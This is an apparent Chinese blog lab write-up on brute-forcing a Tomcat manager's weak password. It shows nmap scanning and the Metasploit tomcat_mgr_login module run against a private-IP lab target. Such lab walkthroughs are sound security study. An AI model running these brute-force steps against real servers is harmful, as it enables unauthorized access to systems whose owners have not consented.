Tomcat漏洞——弱口令爆破

一、基本信息

攻击机：kali IP:192.168.100.60

靶机：CentOS7 IP:192.168.100.40

二、攻击过程

进入 tomcat 相关目录，并启动环境

cd /usr/local/tomcat9/bin
./startup.sh

   

kali 扫描端口

nmap -sS 192.168.100.40

   

浏览器访问

启动 msfconsole 并进行爆破

msfconsole
use auxiliary/scanner/http/tomcat_mgr_login
set rhosts 192.168.100.40
set rport 8080
run

   

爆破成功

查看密码

 作 者：PeiyuJue
链 接： Tomcat漏洞——弱口令爆破 – Candid Chronicles
来 源：Aaron的博客
版 权 声 明：本博客所有文章除特别声明外，均采用CC BY-NC-SA 4.0许可协议。文章版权归作者所有，未经允许请勿转载！